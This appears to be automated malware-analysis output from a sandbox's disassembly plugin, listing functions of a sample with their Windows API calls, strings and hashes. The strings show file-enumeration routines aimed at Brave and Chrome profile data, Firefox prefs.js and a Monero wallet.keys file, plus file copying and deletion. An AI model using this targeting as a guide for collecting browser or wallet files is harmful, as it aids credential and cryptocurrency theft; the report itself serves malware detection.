Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 2cb85b8d3003ab26c5373eb29f1228cdb9fa6729c8d2d197f103cfb2e6a97802
Instruction ID: cab60d190722965d57f479f859c5642813eed581aa7094d281b6bbd8351ed6d4
Opcode Fuzzy Hash: 2cb85b8d3003ab26c5373eb29f1228cdb9fa6729c8d2d197f103cfb2e6a97802
Instruction Fuzzy Hash: 84A162B1900218AFDB64EFA4DC89FEE7379BF94301F044588A50D96245EB749B84CFA2

Function 0063BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00650B32,00650B2B,00000000,?,?,?,006513F4,00650B2A), ref: 0063BEF5
StrCmpCA.SHLWAPI(?,006513F8), ref: 0063BF4D
StrCmpCA.SHLWAPI(?,006513FC), ref: 0063BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0063C7BF
FindClose.KERNEL32(000000FF), ref: 0063C7D1

Strings

Brave, xrefs: 0063C102
\Brave\Preferences, xrefs: 0063C1DB
Preferences, xrefs: 0063C11E
Google Chrome, xrefs: 0063C634

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: b92ae7ec32c53b3badbc6841967d3cd8e013ea74d9896caea1ec06b594eff096
Instruction ID: 87214b060832845820235d87b0157055c42cece1062475e5868ae954a3f085c9
Opcode Fuzzy Hash: b92ae7ec32c53b3badbc6841967d3cd8e013ea74d9896caea1ec06b594eff096
Instruction Fuzzy Hash: D3427372950104BBEB54FBB0DC96EED737EAF94300F40455CB90AA6181EE349B49CBA6

Function 00644910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0064492C
FindFirstFileA.KERNEL32(?,?), ref: 00644943
StrCmpCA.SHLWAPI(?,00650FDC), ref: 00644971
StrCmpCA.SHLWAPI(?,00650FE0), ref: 00644987
FindNextFileA.KERNEL32(000000FF,?), ref: 00644B7D
FindClose.KERNEL32(000000FF), ref: 00644B92

Strings

%s\%s, xrefs: 006449A4
%s\%s, xrefs: 006449FB
%s\*, xrefs: 00644920

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2062646d6c626bfee2dc7c6cb47957f4f69408d4b8d9466979f902d041c437b8
Instruction ID: 627aeec43b6d1ed737be0b25d8d8db195d0e5e7780e0c86160ac0ab2d4de9f5a
Opcode Fuzzy Hash: 2062646d6c626bfee2dc7c6cb47957f4f69408d4b8d9466979f902d041c437b8
Instruction Fuzzy Hash: C56143B2900218ABDB24EBA0DC49FEE737DBB98701F044598B50D96145EF71DB89CF92

Function 00644570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00644580
RtlAllocateHeap.NTDLL(00000000), ref: 00644587
wsprintfA.USER32 ref: 006445A6
FindFirstFileA.KERNEL32(?,?), ref: 006445BD
StrCmpCA.SHLWAPI(?,00650FC4), ref: 006445EB
StrCmpCA.SHLWAPI(?,00650FC8), ref: 00644601
FindNextFileA.KERNEL32(000000FF,?), ref: 0064468B
FindClose.KERNEL32(000000FF), ref: 006446A0
lstrcat.KERNEL32(?,01450700), ref: 006446C5
lstrcat.KERNEL32(?,0144E820), ref: 006446D8
lstrlen.KERNEL32(?), ref: 006446E5
lstrlen.KERNEL32(?), ref: 006446F6

Strings

%s\*, xrefs: 0064459A
%s\%s, xrefs: 0064461B

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 4e36684cef5cb406ab54c2792b0e406eda2f882628e02453229832c93c44e2e6
Instruction ID: e89797f1f58e35113e53832755aa27415a67a8572d30c7bea75ac09437a0ec38
Opcode Fuzzy Hash: 4e36684cef5cb406ab54c2792b0e406eda2f882628e02453229832c93c44e2e6
Instruction Fuzzy Hash: 965133B2540218ABC764EB70DC89FED737DBB94300F404598B64D96194EF74DB858F92

Function 00643EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00643EC3
FindFirstFileA.KERNEL32(?,?), ref: 00643EDA
StrCmpCA.SHLWAPI(?,00650FAC), ref: 00643F08
StrCmpCA.SHLWAPI(?,00650FB0), ref: 00643F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0064406C
FindClose.KERNEL32(000000FF), ref: 00644081

Strings

%s\%s, xrefs: 00643EB7

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: d270029e71cf40fd46035ac7337dce51cfe7b339c2f52cb13c96ab5703e70edb
Instruction ID: 1842ab588d280aa4296f04f47853f410b46541e4d88a9cc949c468daedc8b518
Opcode Fuzzy Hash: d270029e71cf40fd46035ac7337dce51cfe7b339c2f52cb13c96ab5703e70edb
Instruction Fuzzy Hash: 1D5165B2900218ABCB24FBB0DC89EEE737DBB84300F04459CB65D96144DB75DB898F95

Function 0063ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0063ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0063ED55
StrCmpCA.SHLWAPI(?,00651538), ref: 0063EDAB
StrCmpCA.SHLWAPI(?,0065153C), ref: 0063EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0063F2AE
FindClose.KERNEL32(000000FF), ref: 0063F2C3

Strings

%s\*.*, xrefs: 0063ED32

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b80b862158154d8c6b9ce750ce327cc8efafd80b5ee7969fdb262e2dd699ffee
Instruction ID: cbb19e03ddc49f7fe57479f3b2cdcafa2518a09fcf2f041e4137db9e0859bed9
Opcode Fuzzy Hash: b80b862158154d8c6b9ce750ce327cc8efafd80b5ee7969fdb262e2dd699ffee
Instruction Fuzzy Hash: D6E1E471951118BAFB94FBA0DC52EEE733AEF55300F41459DB40A62092EE306F8ACF95

Function 0063F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006515B8,00650D96), ref: 0063F71E
StrCmpCA.SHLWAPI(?,006515BC), ref: 0063F76F
StrCmpCA.SHLWAPI(?,006515C0), ref: 0063F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0063FAB1
FindClose.KERNEL32(000000FF), ref: 0063FAC3

Strings

prefs.js, xrefs: 0063F812

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: fea76e658e1e7a969efa6c6aea8e338b197abb67f69aee44472992c5850d04eb
Instruction ID: 9703b0b2b453680bc236acb9f17aefbcd69473201947a1f447797d1621d3fc90
Opcode Fuzzy Hash: fea76e658e1e7a969efa6c6aea8e338b197abb67f69aee44472992c5850d04eb
Instruction Fuzzy Hash: E5B13571940108AFDB64FFA0DC56BEE737AAF95300F4085ACA40A96191EF309B49CF96

Function 006316D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0065510C,?,?,?,006551B4,?,?,00000000,?,00000000), ref: 00631923
StrCmpCA.SHLWAPI(?,0065525C), ref: 00631973
StrCmpCA.SHLWAPI(?,00655304), ref: 00631989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00631D40
DeleteFileA.KERNEL32(00000000), ref: 00631DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00631E20
FindClose.KERNEL32(000000FF), ref: 00631E32

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Strings

\*.*, xrefs: 006317F1

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 190f40d228e1a6ce7d27e7aa95888db5adab876ad39bda3a0ad71b10fcf7db05
Instruction ID: 66b38383483ce25ecb10308d05766b4c572aef99fe45be3393ce99cbf22b0649
Opcode Fuzzy Hash: 190f40d228e1a6ce7d27e7aa95888db5adab876ad39bda3a0ad71b10fcf7db05
Instruction Fuzzy Hash: A5127F71851118BBEB59FBA0CC96EEE733AAF55300F41419DB50A62091EF306F89CFA5

Function 0063DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00650C2E), ref: 0063DE5E
StrCmpCA.SHLWAPI(?,006514C8), ref: 0063DEAE
StrCmpCA.SHLWAPI(?,006514CC), ref: 0063DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0063E3E0
FindClose.KERNEL32(000000FF), ref: 0063E3F2

Strings

\*.*, xrefs: 0063DE26

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 3f7403b940c6f3ea2eb04b240ee64b0747480b76f2144218075abdba3d181cbf
Instruction ID: 019105930a5780859ef9148e71a6ea87fb5f8279d65b5d42d57046779b1ae679
Opcode Fuzzy Hash: 3f7403b940c6f3ea2eb04b240ee64b0747480b76f2144218075abdba3d181cbf
Instruction Fuzzy Hash: F3F1E071854118AEEB59EBA0CC95EEE733AFF55300F4141DDA40A62091EF306F8ACF66

Function 0063DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006514B0,00650C2A), ref: 0063DAEB
StrCmpCA.SHLWAPI(?,006514B4), ref: 0063DB33
StrCmpCA.SHLWAPI(?,006514B8), ref: 0063DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0063DDCC
FindClose.KERNEL32(000000FF), ref: 0063DDDE

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
